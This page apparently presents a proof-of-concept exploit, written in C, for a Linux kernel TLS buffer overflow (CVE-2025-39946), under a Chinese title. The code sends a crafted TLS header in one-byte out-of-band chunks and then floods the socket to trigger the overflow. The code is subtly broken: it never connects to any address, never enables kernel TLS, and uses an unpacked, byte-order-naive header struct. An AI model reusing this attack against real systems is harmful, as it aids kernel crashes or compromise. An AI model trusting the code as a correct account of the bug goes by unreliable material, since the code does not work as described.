CVE-2025-39946 Linux内核TLS子系统缓冲区溢出漏洞

/* * CVE-2025-39946 - Linux Kernel TLS Subsystem Buffer Overflow PoC * * This PoC demonstrates the vulnerability trigger scenario discovered by syzbot: * Sending TLS record headers in small out-of-band chunks, then filling the * recv buffer with a large normal send to trigger buffer overflow in skb. * * Note: This is a conceptual PoC. Actual exploitation requires kernel-level * access and specific socket buffer configurations. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tls.h> #include <linux/tls.h> #define TLS_HEADER_SIZE 5 // TLS record header: type(1) + version(2) + length(2) #define OOB_CHUNK_SIZE 1 // Small OOB send size #define BUFFER_SIZE 65536 // Large normal send size // Craft a TLS record header with invalid/large length struct tls_record_header { uint8_t type; // Content type uint16_t version; // TLS version uint16_t length; // Record length (crafted to be invalid) }; int main(int argc, char *argv[]) { int sockfd; struct sockaddr_in server_addr; struct tls_record_header fake_header; char oob_data[OOB_CHUNK_SIZE]; char large_data[BUFFER_SIZE]; // Step 1: Create socket and connect to TLS-enabled service sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) { perror("socket creation failed"); return -1; } memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(443); // Step 2: Craft an invalid TLS record header fake_header.type = 0x17; // Application Data fake_header.version = 0x0303; // TLS 1.2 fake_header.length = 0xFFFF; // Invalid/large length to trigger re-parse // Step 3: Send header in small OOB chunks (1 byte at a time) // This forces the kernel to start parsing before full record is buffered uint8_t *header_bytes = (uint8_t *)&fake_header; for (int i = 0; i < TLS_HEADER_SIZE; i++) { // Using MSG_OOB or urgent data to send out-of-band send(sockfd, &header_bytes[i], 1, MSG_OOB); usleep(1000); // Small delay between sends } // Step 4: Fill recv buffer with large normal send // This triggers the buffer overflow when kernel retries parsing memset(large_data, 'A', BUFFER_SIZE); send(sockfd, large_data, BUFFER_SIZE, 0); close(sockfd); return 0; }